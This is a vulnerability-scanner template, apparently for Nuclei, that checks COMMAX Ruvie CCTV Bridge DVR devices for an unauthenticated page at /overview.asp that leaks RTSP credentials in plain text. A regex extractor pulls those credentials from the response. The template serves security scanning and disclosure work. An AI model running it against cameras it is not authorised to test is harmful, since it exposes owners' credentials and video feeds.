id: commax-credentials-disclosure

info:
  name: COMMAX Smart Home Ruvie CCTV Bridge DVR - RTSP Credentials Disclosure
  author: gy741
  severity: critical
  description: |
    The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker to disclose real time streaming protocol (RTSP) credentials in plain-text.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5665.php
  tags: commax,exposure,camera,iot
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/overview.asp"

    matchers:
      - type: word
        part: body
        words:
          - "DVR Lists"
          - "rtsp://"
          - "login_check.js"
          - "MAX USER :"
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - 'rtsp:\/\/([a-z:0-9A-Z@$.]+)\/Streaming\/Chann'